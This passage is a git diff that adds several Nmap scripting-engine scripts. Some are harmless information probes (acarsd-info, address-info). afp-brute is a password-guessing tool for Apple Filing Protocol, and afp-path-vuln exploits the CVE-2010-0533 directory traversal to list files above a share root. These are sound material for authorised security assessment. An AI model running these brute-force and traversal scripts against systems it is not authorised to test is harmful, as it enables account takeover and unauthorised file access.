-rw-r--r--scripts/weblogic-t3-info.nse91
-rw-r--r--scripts/whois-domain.nse173
-rw-r--r--scripts/whois-ip.nse2263
-rw-r--r--scripts/wsdd-discover.nse91
-rw-r--r--scripts/x11-access.nse74
-rw-r--r--scripts/xdmcp-discover.nse67
-rw-r--r--scripts/xmlrpc-methods.nse120
-rw-r--r--scripts/xmpp-brute.nse142
-rw-r--r--scripts/xmpp-info.nse579
606 files changed, 115355 insertions, 0 deletions
diff --git a/scripts/acarsd-info.nse b/scripts/acarsd-info.nse
new file mode 100644
index 0000000..50500d9
--- /dev/null
+++ b/scripts/acarsd-info.nse
@@ -0,0 +1,115 @@
+local comm = require "comm"
+local nmap = require "nmap"
+local shortport = require "shortport"
+local stdnse = require "stdnse"
+local string = require "string"
+local table = require "table"
+
+description = [[
+Retrieves information from a listening acarsd daemon. Acarsd decodes
+ACARS (Aircraft Communication Addressing and Reporting System) data in
+real time. The information retrieved by this script includes the
+daemon version, API version, administrator e-mail address and
+listening frequency.
+
+For more information about acarsd, see:
+* http://www.acarsd.org/
+]]
+
+---
+-- @usage
+-- nmap --script acarsd-info --script-args "acarsd-info.timeout=10,acarsd-info.bytes=512" -p <port> <host>
+--
+-- @output
+-- PORT STATE SERVICE
+-- 2202/tcp open unknown
+-- | acarsd-info:
+-- | Version: 1.65
+-- | API Version: API-2005-Oct-18
+-- | Authorization Required: 0
+-- | Admin E-mail: admin@acarsd
+-- | Clients Connected: 1
+-- |_ Frequency: 131.7250 & 131.45
+--
+-- @args acarsd-info.timeout
+-- Set the timeout in seconds. The default value is 10.
+-- @args acarsd-info.bytes
+-- Set the number of bytes to retrieve. The default value is 512.
+--
+-- @changelog
+-- 2012-02-23 - v0.1 - created by Brendan Coles - itsecuritysolutions.org
+--
+
+author = "Brendan Coles"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"safe","discovery"}
+
+
+portrule = shortport.port_or_service (2202, "acarsd", {"tcp"})
+
+action = function(host, port)
+
+ local result = {}
+
+ -- Set timeout
+ local timeout = stdnse.parse_timespec(stdnse.get_script_args(SCRIPT_NAME .. ".timeout"))
+ if not timeout or timeout < 0 then timeout = 10 end
+
+ -- Set bytes
+ local bytes = tonumber(nmap.registry.args[SCRIPT_NAME .. '.bytes']) or 512
+
+ -- Connect and retrieve acarsd info in XML format over TCP
+ stdnse.debug1("Connecting to %s:%s [Timeout: %ss]", host.targetname or host.ip, port.number, timeout)
+ local status, data = comm.get_banner(host, port, {timeout=timeout*1000,bytes=bytes})
+ if not status or not data then
+ stdnse.debug1("Retrieving data from %s:%s failed [Timeout expired]", host.targetname or host.ip, port.number)
+ return
+ end
+
+ -- Check if retrieved data is valid acarsd data
+ if not string.match(data, "acarsd") then
+ stdnse.debug1("%s:%s is not an acarsd Daemon.", host.targetname or host.ip, port.number)
+ return
+ end
+
+ -- Check for restricted access -- Parse daemon info
+ if string.match(data, "Authorization needed%. If your client doesnt support this") then
+
+ local version_match = string.match(data, "acarsd\t(.+)\t")
+ if version_match then table.insert(result, string.format("Version: %s", version_match)) end
+ local api_version_match = string.match(data, "acarsd\t.+\t(API.+[0-9][0-9]?)")
+ if api_version_match then table.insert(result, string.format("API Version: %s", api_version_match)) end
+ table.insert(result, "Authorization Required: 1")
+
+ -- Check for unrestricted access -- Parse daemon info
+ else
+
+ stdnse.debug1("Parsing data from %s:%s", host.targetname or host.ip, port.number)
+ local vars = {
+ {"Version","Version"},
+ {"API Version","APIVersion"},
+ --{"Hostname","Hostname"},
+ --{"Port","Port"},
+ --{"Server UUID","ServerUUID"},
+ {"Authorization Required","NeedAuth"},
+ {"Admin E-mail","AdminMail"},
+ {"Clients Connected","ClientsConnected"},
+ {"Frequency","Frequency"},
+ {"License","License"},
+ }
+ for _, var in ipairs(vars) do
+ local tag = var[2]
+ local var_match = string.match(data, string.format('<%s>(.+)</%s>', tag, tag))
+ if var_match then table.insert(result, string.format("%s: %s", var[1], string.gsub(var_match, "&amp;", "&"))) end
+ end
+
+ end
+ port.version.name = "acarsd"
+ port.version.product = "ACARS Decoder"
+ nmap.set_port_version(host, port)
+
+ -- Return results
+ return stdnse.format_output(true, result)
+
+end
+
diff --git a/scripts/address-info.nse b/scripts/address-info.nse
new file mode 100644
index 0000000..0455ac3
--- /dev/null
+++ b/scripts/address-info.nse
@@ -0,0 +1,299 @@
+local datafiles = require "datafiles"
+local nmap = require "nmap"
+local stdnse = require "stdnse"
+local string = require "string"
+local table = require "table"
+
+description = [[
+Shows extra information about IPv6 addresses, such as embedded MAC or IPv4 addresses when available.
+
+Some IP address formats encode extra information; for example some IPv6
+addresses encode an IPv4 address or MAC address. This script can decode
+these address formats:
+* IPv4-compatible IPv6 addresses,
+* IPv4-mapped IPv6 addresses,
+* Teredo IPv6 addresses,
+* 6to4 IPv6 addresses,
+* IPv6 addresses using an EUI-64 interface ID,
+* IPv4-embedded IPv6 addresses,
+* IPv4-translated IPv6 addresses and
+* ISATAP Modified EUI-64 IPv6 addresses.
+
+See RFC 4291 for general IPv6 addressing architecture and the
+definitions of some terms.
+]]
+
+---
+-- @output
+-- Nmap scan report for ::1.2.3.4
+-- Host script results:
+-- | address-info:
+-- | IPv4-compatible:
+-- |_ IPv4 address: 1.2.3.4
+--
+-- Nmap scan report for ::ffff:1.2.3.4
+-- Host script results:
+-- | address-info:
+-- | IPv4-mapped:
+-- |_ IPv4 address: 1.2.3.4
+--
+-- Nmap scan report for 2001:0:506:708:282a:3d75:fefd:fcfb
+-- Host script results:
+-- | address-info:
+-- | Teredo:
+-- | Server IPv4 address: 5.6.7.8
+-- | Client IPv4 address: 1.2.3.4
+-- |_ UDP port: 49802
+--
+-- Nmap scan report for 2002:102:304::1
+-- Host script results:
+-- | address-info:
+-- | 6to4:
+-- |_ IPv4 address: 1.2.3.4
+--
+-- Nmap scan report for fe80::a8bb:ccff:fedd:eeff
+-- Host script results:
+-- | address-info:
+-- | IPv6 EUI-64:
+-- | MAC address:
+-- | address: aa:bb:cc:dd:ee:ff
+-- |_ manuf: Unknown
+--
+-- Nmap scan report for 64:ff9b::c000:221
+-- Host script results:
+-- | address-info:
+-- | IPv4-embedded IPv6 address:
+-- |_ IPv4 address: 192.0.2.33
+--
+-- Nmap scan report for ::ffff:0:c0a8:101
+-- Host script results:
+-- | address-info:
+-- | IPv4-translated IPv6 address:
+-- |_ IPv4 address: 192.168.1.1
+
+-- * ISATAP. RFC 5214.
+-- XXXX:XXXX:XXXX:XX00:0000:5EFE:a.b.c.d
+
+---
+--@xmloutput
+-- <table key="IPv4-mapped">
+-- <elem key="IPv4 address">1.2.3.4</elem>
+-- </table>
+--
+-- <table key="IPv4-compatible">
+-- <elem key="IPv4 address">1.2.3.4</elem>
+-- </table>
+--
+-- <table key="Teredo">
+-- <elem key="Server IPv4 address">5.6.7.8</elem>
+-- <elem key="Client IPv4 address">1.2.3.4</elem>
+-- <elem key="UDP port">49802</elem>
+-- </table>
+--
+-- <table key="6to4">
+-- <elem key="IPv4 address">1.2.3.4</elem>
+-- </table>
+--
+-- <table key="IPv6 EUI-64">
+-- <table key="MAC address">
+-- <elem key="address">aa:bb:cc:dd:ee:ff</elem>
+-- <elem key="manuf">Unknown</elem>
+-- </table>
+-- </table>
+--
+-- <table key="IPv4-embedded IPv6 address">
+-- <elem key="IPv4 address">192.0.2.33</elem>
+-- </table>
+--
+-- <table key="IPv4-translated IPv6 address">
+-- <elem key="IPv4 address">192.168.1.1</elem>
+-- </table>
+
+author = "David Fifield"
+
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+
+categories = {"default", "safe"}
+
+
+hostrule = function(host)
+ return true
+end
+
+-- Match an address (array of bytes) against a hex-encoded pattern. "XX" in the
+-- pattern is a wildcard.
+local function matches(addr, pattern)
+ local octet_patterns
+
+ octet_patterns = {}
+ for op in pattern:gmatch("([%xX][%xX])") do
+ octet_patterns[#octet_patterns + 1] = op
+ end
+
+ if #addr ~= #octet_patterns then
+ return false
+ end
+
+ for i = 1, #addr do
+ local a, op
+
+ a = addr[i]
+ op = octet_patterns[i]
+ if not (op == "XX" or a == tonumber(op, 16)) then
+ return false
+ end
+ end
+
+ return true
+end
+
+local function get_manuf(mac)
+ local catch = function() return "Unknown" end
+ local try = nmap.new_try(catch)
+ local mac_prefixes = try(datafiles.parse_mac_prefixes())
+ local prefix = string.upper(string.format("%02x%02x%02x", mac[1], mac[2], mac[3]))
+ return mac_prefixes[prefix] or "Unknown"
+end
+
+local function format_mac(mac)
+ local out = stdnse.output_table()
+ out.address = stdnse.format_mac(string.char(table.unpack(mac)))
+ out.manuf = get_manuf(mac)
+ return out
+end
+
+local function format_ipv4(ipv4)
+ local octets
+
+ octets = {}
+ for _, v in ipairs(ipv4) do
+ octets[#octets + 1] = string.format("%d", v)
+ end
+
+ return table.concat(octets, ".")
+end
+
+local function do_ipv4(addr)
+ -- intentionally empty
+end
+
+-- EUI-64 from MAC, RFC 4291.
+local function decode_eui_64(eui_64)
+ if eui_64[4] == 0xff and eui_64[5] == 0xfe then
+ return { (eui_64[1] ~ 0x02),
+ eui_64[2], eui_64[3], eui_64[6], eui_64[7], eui_64[8] }
+ end
+end
+
+local function do_ipv6(addr)
+ local label
+ local output
+
+ output = stdnse.output_table()
+
+ if matches(addr, "0000:0000:0000:0000:0000:0000:0000:0001") then
+ -- ::1 is localhost. Not much to report.
+ return nil
+ elseif matches(addr, "0000:0000:0000:0000:0000:0000:XXXX:XXXX") then
+ -- RFC 4291 2.5.5.1.
+ local ipv4 = { addr[13], addr[14], addr[15], addr[16] }
+ return {["IPv4-compatible"]= { ["IPv4 address"] = format_ipv4(ipv4) } }
+ elseif matches(addr, "0000:0000:0000:0000:0000:ffff:XXXX:XXXX") then
+ -- RFC 4291 2.5.5.2.
+ local ipv4 = { addr[13], addr[14], addr[15], addr[16] }
+ return {["IPv4-mapped"]= { ["IPv4 address"] = format_ipv4(ipv4) } }
+ elseif matches(addr, "2001:0000:XXXX:XXXX:XXXX:XXXX:XXXX:XXXX") then
+ -- Teredo, RFC 4380.
+ local server_ipv4 = { addr[5], addr[6], addr[7], addr[8] }
+ -- RFC 5991 makes the flags mostly meaningless.
+ local flags = addr[9] * 256 + addr[10]
+ local obs_port = addr[11] * 256 + addr[12]
+ local obs_client_ipv4 = { addr[13], addr[14], addr[15], addr[16] }
+ local port, client_ipv4
+
+ -- Invert obs_port.
+ port = obs_port ~ 0xffff
+
+ -- Invert obs_client_ipv4.
+ client_ipv4 = {}
+ for _, octet in ipairs(obs_client_ipv4) do
+ client_ipv4[#client_ipv4 + 1] = octet ~ 0xff
+ end
+
+ output["Server IPv4 address"] = format_ipv4(server_ipv4)
+ output["Client IPv4 address"] = format_ipv4(client_ipv4)
+ output["UDP port"] = tostring(port)
+
+ return {["Teredo"] = output}
+ elseif matches(addr, "0064:ff9b:XXXX:XXXX:00XX:XXXX:XXXX:XXXX") then
+ --IPv4-embedded IPv6 addresses. RFC 6052, Section 2
+
+ --skip addr[9]
+ if matches(addr,"0064:ff9b:0000:0000:0000:0000:XXXX:XXXX") then
+ local ipv4 = {addr[13], addr[14], addr[15], addr[16]}
+ return {["IPv4-embedded IPv6 address"]= {["IPv4 address"] = format_ipv4(ipv4)}}
+ elseif addr[5] ~= 0x01 then
+ local ipv4 = {addr[5], addr[6], addr[7], addr[8]}
+ return {["IPv4-embedded IPv6 address"]= {["IPv4 address"] = format_ipv4(ipv4)}}
+ elseif addr[6] ~= 0x22 then
+ local ipv4 = {addr[6], addr[7], addr[8], addr[10]}
+ return {["IPv4-embedded IPv6 address"]= {["IPv4 address"] = format_ipv4(ipv4)}}
+ elseif addr[7] ~= 0x03 then
+ local ipv4 = {addr[7], addr[8], addr[10], addr[11]}
+ return {["IPv4-embedded IPv6 address"]= {["IPv4 address"] = format_ipv4(ipv4)}}
+ elseif addr[8] ~= 0x44 then
+ local ipv4 = {addr[8], addr[10], addr[11], addr[12]}
+ return {["IPv4-embedded IPv6 address"]= {["IPv4 address"] = format_ipv4(ipv4)}}
+ elseif addr[10] == 0x00 and addr[11] == 0x00 and addr[12] == 0x00 then
+ local ipv4 = {addr[13], addr[14], addr[15], addr[16]}
+ return {["IPv4-embedded IPv6 address"]= {["IPv4 address"] = format_ipv4(ipv4)}}
+ end
+ elseif matches(addr, "0000:0000:0000:0000:ffff:0000:XXXX:XXXX") then
+ -- IPv4-translated IPv6 addresses. RFC 2765, Section 2.1
+ return {["IPv4-translated IPv6 address"]=
+ {["IPv4 address"] = format_ipv4( {addr[13], addr[14], addr[15], addr[16]})}}
+ elseif matches(addr, "XXXX:XXXX:XXXX:XX00:0000:5efe:XXXX:XXXX") then
+ -- ISATAP. RFC 5214, Appendix A
+ -- XXXX:XXXX:XXXX:XX00:0000:5EFE:a.b.c.d
+ return {["ISATAP Modified EUI-64 IPv6 Address"]=
+ {["IPv4 address"] = format_ipv4( {addr[13], addr[14], addr[15], addr[16]})}}
+ end
+
+ -- These following use common handling for the Interface ID part
+ -- (last 64 bits).
+
+ if matches(addr, "2002:XXXX:XXXX:XXXX:XXXX:XXXX:XXXX:XXXX") then
+ -- 6to4, RFC 3056.
+ local ipv4 = { addr[3], addr[4], addr[5], addr[6] }
+
+ label = "6to4"
+ output["IPv4 address"] = format_ipv4(ipv4)
+ end
+
+ local mac = decode_eui_64({ addr[9], addr[10], addr[11], addr[12],
+ addr[13], addr[14], addr[15], addr[16] })
+ if mac then
+ output["MAC address"] = format_mac(mac)
+ if not label then
+ label = "IPv6 EUI-64"
+ end
+ end
+
+ if label then
+ return {[label]= output}
+ end
+ -- else no match
+end
+
+action = function(host)
+ local addr_s, addr_t
+
+ addr_s = host.bin_ip
+ addr_t = { string.byte(addr_s, 1, #addr_s) }
+
+ if #addr_t == 4 then
+ return do_ipv4(addr_t)
+ elseif #addr_t == 16 then
+ return do_ipv6(addr_t)
+ end
+end
diff --git a/scripts/afp-brute.nse b/scripts/afp-brute.nse
new file mode 100644
index 0000000..960e5ae
--- /dev/null
+++ b/scripts/afp-brute.nse
@@ -0,0 +1,111 @@
+local afp = require "afp"
+local nmap = require "nmap"
+local shortport = require "shortport"
+local stdnse = require "stdnse"
+local string = require "string"
+local table = require "table"
+local unpwdb = require "unpwdb"
+
+-- we don't really need openssl here, but let's attempt to load it as a way
+-- to simply prevent the script from running, in case we don't have it
+local openssl = stdnse.silent_require("openssl")
+
+description = [[
+Performs password guessing against Apple Filing Protocol (AFP).
+]]
+
+---
+-- @usage
+-- nmap -p 548 --script afp-brute <host>
+--
+-- @output
+-- PORT STATE SERVICE
+-- 548/tcp open afp
+-- | afp-brute:
+-- |_ admin:KenSentMe => Valid credentials
+
+-- Information on AFP implementations
+--
+-- Snow Leopard
+-- ------------
+-- - Delay 10 seconds for accounts with more than 5 incorrect login attempts (good)
+-- - Instant response if password is successful
+--
+-- Netatalk
+-- --------
+-- - Netatalk responds with a "Parameter error" when the username is invalid
+--
+
+author = "Patrik Karlsson"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"intrusive", "brute"}
+
+
+-- Version 0.3
+-- Created 01/15/2010 - v0.1 - created by Patrik Karlsson <patrik@cqure.net>
+-- Revised 03/09/2010 - v0.2 - changed so that passwords are iterated over users
+-- - this change makes better sense as guessing is slow
+-- Revised 09/09/2011 - v0.3 - changed account status text to be more consistent with other *-brute scripts
+
+portrule = shortport.port_or_service(548, "afp")
+
+action = function( host, port )
+
+ local result, response, status = {}, nil, nil
+ local valid_accounts, found_users = {}, {}
+ local helper
+ local usernames, passwords
+
+ status, usernames = unpwdb.usernames()
+ if not status then return end
+
+ status, passwords = unpwdb.passwords()
+ if not status then return end
+
+ for password in passwords do
+ for username in usernames do
+ if ( not(found_users[username]) ) then
+
+ helper = afp.Helper:new()
+ status, response = helper:OpenSession( host, port )
+
+ if ( not(status) ) then
+ stdnse.debug1("OpenSession failed")
+ return
+ end
+
+
+ stdnse.debug1("Trying %s/%s ...", username, password)
+ status, response = helper:Login( username, password )
+
+ -- if the response is "Parameter error." we're dealing with Netatalk
+ -- This basically means that the user account does not exist
+ -- In this case, why bother continuing? Simply abort and thank Netatalk for the fish
+ if response:match("Parameter error.") then
+ stdnse.debug1("Netatalk told us the user does not exist! Thanks.")
+ -- mark it as "found" to skip it
+ found_users[username] = true
+ end
+
+ if status then
+ -- Add credentials for other afp scripts to use
+ if nmap.registry.afp == nil then
+ nmap.registry.afp = {}
+ end
+ nmap.registry.afp[username]=password
+ found_users[username] = true
+
+ table.insert( valid_accounts, string.format("%s:%s => Valid credentials", username, password:len()>0 and password or "<empty>" ) )
+ break
+ end
+ helper:CloseSession()
+ end
+ end
+ usernames("reset")
+ end
+
+ local output = stdnse.format_output(true, valid_accounts)
+
+ return output
+
+end
diff --git a/scripts/afp-ls.nse b/scripts/afp-ls.nse
new file mode 100644
index 0000000..1108bea
--- /dev/null
+++ b/scripts/afp-ls.nse
@@ -0,0 +1,187 @@
+local afp = require "afp"
+local nmap = require "nmap"
+local shortport = require "shortport"
+local stdnse = require "stdnse"
+local ls = require "ls"
+
+description = [[
+Attempts to get useful information about files from AFP volumes.
+The output is intended to resemble the output of <code>ls</code>.
+]]
+
+---
+--
+-- @usage
+-- nmap -sS -sV -p 548 --script=afp-ls target
+--
+-- @output
+-- PORT STATE SERVICE
+-- 548/tcp open afp syn-ack
+-- | afp-ls:
+-- | Information retrieved as patrik
+-- | Volume Macintosh HD
+-- | maxfiles limit reached (10)
+-- | PERMISSION UID GID SIZE TIME FILENAME
+-- | -rw-r--r-- 501 80 15364 2010-06-13 17:52 .DS_Store
+-- | ---------- 0 80 0 2009-10-05 07:42 .file
+-- | drwx------ 501 20 0 2009-11-04 17:28 .fseventsd
+-- | -rw------- 0 0 393216 2010-06-14 01:49 .hotfiles.btree
+-- | drwx------ 0 80 0 2009-11-04 18:19 .Spotlight-V100
+-- | d-wx-wx-wx 0 80 0 2009-11-04 18:25 .Trashes
+-- | drwxr-xr-x 0 0 0 2009-05-18 21:29 .vol
+-- | drwxrwxr-x 0 80 0 2009-04-28 00:06 Applications
+-- | drwxr-xr-x 0 0 0 2009-05-18 21:43 bin
+-- | drwxr-xr-x 501 80 0 2010-08-10 22:55 bundles
+-- |
+-- | Volume Patrik Karlsson's Public Folder
+-- | PERMISSION UID GID SIZE TIME FILENAME
+-- | -rw------- 501 20 6148 2010-12-27 23:45 .DS_Store
+-- | -rw-r--r-- 501 20 0 2007-07-24 21:17 .localized
+-- | drwx-wx-wx 501 20 0 2009-06-19 04:01 Drop Box
+-- |
+-- | Volume patrik
+-- | maxfiles limit reached (10)
+-- | PERMISSION UID GID SIZE TIME FILENAME
+-- | -rw------- 501 20 11281 2010-06-14 22:51 .bash_history
+-- | -rw-r--r-- 501 20 33 2011-01-19 20:11 .bashrc
+-- | -rw------- 501 20 3 2007-07-24 21:17 .CFUserTextEncoding
+-- | drwx------ 501 20 0 2010-09-12 14:52 .config
+-- | drwx------ 501 20 0 2010-09-12 12:29 .cups
+-- | -rw-r--r-- 501 20 15364 2010-06-13 18:34 .DS_Store
+-- | drwxr-xr-x 501 20 0 2010-09-12 14:13 .fontconfig
+-- | -rw------- 501 20 102 2010-06-14 01:46 .lesshst
+-- | -rw-r--r-- 501 20 241 2010-06-14 01:45 .profile
+-- | -rw------- 501 20 218 2010-09-12 16:35 .recently-used.xbel
+-- |_
+--
+-- @xmloutput
+-- <table key="volumes">
+-- <table>
+-- <elem key="volume">Storage01</elem>
+-- <table key="files">
+-- <table>
+-- <elem key="permission">drwx-&#45;&#45;&#45;&#45;&#45;</elem>
+-- <elem key="uid">0</elem>
+-- <elem key="gid">100</elem>
+-- <elem key="size">0</elem>
+-- <elem key="time">2015-06-26 17:17</elem>
+-- <elem key="filename">Backups</elem>
+-- </table>
+-- <table>
+-- <elem key="permission">drwxr-xr-x</elem>
+-- <elem key="uid">0</elem>
+-- <elem key="gid">37</elem>
+-- <elem key="size">0</elem>
+-- <elem key="time">2015-06-19 06:36</elem>
+-- <elem key="filename">Network Trash Folder</elem>
+-- </table>
+-- <table>
+-- <elem key="permission">drwxr-xr-x</elem>
+-- <elem key="uid">0</elem>
+-- <elem key="gid">37</elem>
+-- <elem key="size">0</elem>
+-- <elem key="time">2015-06-19 06:36</elem>
+-- <elem key="filename">Temporary Items</elem>
+-- </table>
+-- </table>
+-- </table>
+-- </table>
+-- <table key="info">
+-- <elem>information retrieved as nil</elem>
+-- </table>
+-- <table key="total">
+-- <elem key="files">3</elem>
+-- <elem key="bytes">0</elem>
+-- </table>
+
+-- Version 0.2
+-- Created 04/03/2011 - v0.1 - created by Patrik Karlsson
+-- Modified 08/02/2020 - v0.2 - replaced individual date/size/ownership calls
+-- with direct sourcing from the output of
+-- afp.Helper.Dir
+
+
+author = "Patrik Karlsson"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"discovery", "safe"}
+dependencies = {"afp-brute"}
+
+portrule = shortport.port_or_service(548, {"afp"})
+
+action = function(host, port)
+
+ local afpHelper = afp.Helper:new()
+ local args = nmap.registry.args
+ local users = nmap.registry.afp or { ['nil'] = 'nil' }
+ local maxfiles = ls.config("maxfiles")
+ local output = ls.new_listing()
+
+ if ( args['afp.username'] ) then
+ users = {}
+ users[args['afp.username']] = args['afp.password']
+ end
+
+ for username, password in pairs(users) do
+
+ local status, response = afpHelper:OpenSession(host, port)
+ if ( not status ) then
+ stdnse.debug1("%s", response)
+ return
+ end
+
+ -- if we have a username attempt to authenticate as the user
+ -- Attempt to use No User Authentication?
+ if ( username ~= 'nil' ) then
+ status, response = afpHelper:Login(username, password)
+ else
+ status, response = afpHelper:Login()
+ end
+
+ if ( not status ) then
+ stdnse.debug1("Login failed")
+ stdnse.debug3("Login error: %s", response)
+ return
+ end
+
+ local vols
+ status, vols = afpHelper:ListShares()
+
+ if status then
+ for _, vol in ipairs( vols ) do
+ local status, tbl = afpHelper:Dir( vol )
+ if ( not(status) ) then
+ ls.report_error(output, ("ERROR: Failed to list the contents of %s"):format(vol))
+ else
+ ls.new_vol(output, vol, true)
+ for _, item in ipairs(tbl[1]) do
+ if item and item.name then
+ if not (item.privs and item.create) then
+ ls.report_error(output, ("ERROR: Failed to retrieve file details for %/%s"):format(vol, item.name))
+ else
+ local continue = ls.add_file(output, {
+ item.privs, item.uid, item.gid,
+ item.fsize, item.create, item.name
+ })
+ if not continue then
+ ls.report_info(output, ("maxfiles limit reached (%d)"):format(maxfiles))
+ break
+ end
+ end
+ end
+ end
+ ls.end_vol(output)
+ end
+ end
+ end
+
+ status, response = afpHelper:Logout()
+ status, response = afpHelper:CloseSession()
+
+ -- stop after first successful attempt
+ if #output["volumes"] > 0 then
+ ls.report_info(output, ("information retrieved as %s"):format(username))
+ return ls.end_listing(output)
+ end
+ end
+ return
+end
diff --git a/scripts/afp-path-vuln.nse b/scripts/afp-path-vuln.nse
new file mode 100644
index 0000000..8b5e5ae
--- /dev/null
+++ b/scripts/afp-path-vuln.nse
@@ -0,0 +1,220 @@
+local afp = require "afp"
+local nmap = require "nmap"
+local shortport = require "shortport"
+local stdnse = require "stdnse"
+local table = require "table"
+local vulns = require "vulns"
+
+description = [[
+Detects the Mac OS X AFP directory traversal vulnerability, CVE-2010-0533.
+
+This script attempts to iterate over all AFP shares on the remote
+host. For each share it attempts to access the parent directory by
+exploiting the directory traversal vulnerability as described in
+CVE-2010-0533.
+
+The script reports whether the system is vulnerable or not. In
+addition it lists the contents of the parent and child directories to
+a max depth of 2.
+When running in verbose mode, all items in the listed directories are
+shown. In non verbose mode, output is limited to the first 5 items.
+If the server is not vulnerable, the script will not return any
+information.
+
+For additional information:
+* http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-0533
+* http://www.cqure.net/wp/2010/03/detecting-apple-mac-os-x-afp-vulnerability-cve-2010-0533-with-nmap
+* http://support.apple.com/kb/HT1222
+]]
+
+---
+--
+--@output
+-- PORT STATE SERVICE
+-- 548/tcp open afp
+-- | afp-path-vuln:
+-- | VULNERABLE:
+-- | Apple Mac OS X AFP server directory traversal
+-- | State: VULNERABLE (Exploitable)
+-- | IDs: CVE:CVE-2010-0533
+-- | Risk factor: High CVSSv2: 7.5 (HIGH) (AV:N/AC:L/Au:N/C:P/I:P/A:P)
+-- | Description:
+-- | Directory traversal vulnerability in AFP Server in Apple Mac OS X before
+-- | 10.6.3 allows remote attackers to list a share root's parent directory.
+-- | Disclosure date: 2010-03-29
+-- | Exploit results:
+-- | Patrik Karlsson's Public Folder/../ (5 first items)
+-- | .bash_history
+-- | .bash_profile
+-- | .CFUserTextEncoding
+-- | .config/
+-- | .crash_report_checksum
+-- | References:
+-- | http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-0533
+-- | http://support.apple.com/kb/HT1222
+-- |_ http://www.cqure.net/wp/2010/03/detecting-apple-mac-os-x-afp-vulnerability-cve-2010-0533-with-nmap
+--
+
+--
+-- Version 0.3
+--
+-- Created 02/09/2010 - v0.1 - created by Patrik Karlsson as PoC for Apple
+-- Revised 05/03/2010 - v0.2 - cleaned up and added dependency to afp-brute and added support
+-- for credentials by argument or registry
+-- Revised 10/03/2010 - v0.3 - combined afp-path-exploit and afp-path-vuln into this script
+-- Revised 21/10/2011 - v0.4 - Use the vulnerability library vulns.lua
+
+author = "Patrik Karlsson"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"exploit", "intrusive", "vuln"}
+
+
+dependencies = {"afp-brute"}
+
+portrule = shortport.portnumber(548, "tcp")
+
+--- This function processes the table returned by the Dir method of the Helper class
+--
+-- @param tbl table containing the table as return from the Dir method
+-- @param max_count number containing the maximum items to return
+-- @param out table used when called recursively should be nil on first call
+-- @param count number with total amount of entries so far, nil at first call
+-- @return table suitable for stdnse.format_output
+local function processResponse( tbl, max_count, out, count )
+
+ local out = out or {}
+ local count = count or 0
+
+ for _, v in ipairs(tbl) do
+ if ( max_count and max_count > 0 and max_count <= count ) then
+ break
+ end
+ if ( v.name ) then
+ local sfx = ( v.type == 0x80 ) and "/" or ""
+ table.insert(out, v.name .. sfx )
+ count = count + 1
+ elseif( type(v) == 'table' ) then
+ local tmp = {}
+ table.insert( out, tmp )
+ processResponse( v, max_count, tmp, count )
+ end
+ end
+
+ -- strip the outer table
+ return out[1]
+end
+
+--- This function simply checks if the table contains a Directory Id (DID) of 2
+-- The DID of the AFP sharepoint is always 2, but no child should have this DID
+--
+-- @param tbl table containing the table as return from the Dir method
+-- @return true if host is vulnerable, false otherwise
+local function isVulnerable( tbl )
+ for _, v in ipairs(tbl) do
+ -- if we got no v.id it's probably a container table
+ if ( not(v.id) ) then
+ if ( isVulnerable(v) ) then
+ return true
+ end
+ end
+ if ( v.id == 2 ) then
+ return true
+ end
+ end
+ return false
+end
+
+action = function(host, port)
+
+ local status, response, shares
+ local afp_helper = afp.Helper:new()
+ local args = nmap.registry.args
+ local users = nmap.registry.afp or { ['nil'] = 'nil' }
+ local vulnerable = false
+
+ local MAX_FILES = 5
+
+ local afp_vuln = {
+ title = "Apple Mac OS X AFP server directory traversal",
+ IDS = {CVE = 'CVE-2010-0533'},
+ risk_factor = "High",
+ scores = {
+ CVSSv2 = "7.5 (HIGH) (AV:N/AC:L/Au:N/C:P/I:P/A:P)",
+ },
+ description = [[
+Directory traversal vulnerability in AFP Server in Apple Mac OS X before
+10.6.3 allows remote attackers to list a share root's parent directory.]],
+ references = {
+ 'http://www.cqure.net/wp/2010/03/detecting-apple-mac-os-x-afp-vulnerability-cve-2010-0533-with-nmap',
+ 'http://support.apple.com/kb/HT1222',
+ },
+ dates = {
+ disclosure = {year = '2010', month = '03', day = '29'},
+ },
+ exploit_results = {},
+ }
+
+ local report = vulns.Report:new(SCRIPT_NAME, host, port)
+
+ if ( args['afp.username'] ) then
+ users = {}
+ users[args['afp.username']] = args['afp.password']
+ end
+
+ for username, password in pairs(users) do
+
+ status, response = afp_helper:OpenSession(host, port)
+ if ( not(status) ) then
+ stdnse.debug1("%s", response)
+ return
+ end
+
+ -- Attempt to use No User Authentication?
+ if ( username ~= 'nil' ) then
+ status, response = afp_helper:Login(username, password)
+ else
+ status, response = afp_helper:Login(nil, nil)
+ end
+ if ( not(status) ) then
+ stdnse.debug1("Login failed")
+ stdnse.debug3("Login error: %s", response)
+ return
+ end
+
+ status, shares = afp_helper:ListShares()
+
+ for _, share in ipairs(shares) do
+
+ local status, response = afp_helper:Dir( share .. "/../", { max_depth = 2 } )
+
+ if ( not(status) ) then
+ stdnse.debug3("%s", response)
+ else
+ if ( isVulnerable( response ) ) then
+ vulnerable = true
+ if(nmap.verbosity() > 1) then
+ response = processResponse( response )
+ local name = share .. "/../"
+ table.insert(afp_vuln.exploit_results,
+ name)
+ else
+ response = processResponse( response, MAX_FILES )
+ local name = share .. ("/../ (%d first items)"):format(MAX_FILES)
+ table.insert(afp_vuln.exploit_results,
+ name)
+ end
+ table.insert(afp_vuln.exploit_results,
+ response)
+ end
+ end
+ end
+ end
+
+ if ( vulnerable ) then
+ afp_vuln.state = vulns.STATE.EXPLOIT
+ else
+ afp_vuln.state = vulns.STATE.NOT_VULN
+ end
+
+ return report:make_output(afp_vuln)
+end
diff --git a/scripts/afp-serverinfo.nse b/scripts/afp-serverinfo.nse
new file mode 100644
index 0000000..d192e0f
--- /dev/null
+++ b/scripts/afp-serverinfo.nse
@@ -0,0 +1,175 @@
+local afp = require "afp"
+local nmap = require "nmap"
+local outlib = require "outlib"
+local shortport = require "shortport"
+local stdnse = require "stdnse"
+local table = require "table"
+
+description = [[
+Shows AFP server information. This information includes the server's
+hostname, IPv4 and IPv6 addresses, and hardware type (for example
+<code>Macmini</code> or <code>MacBookPro</code>).
+]]
+
+---
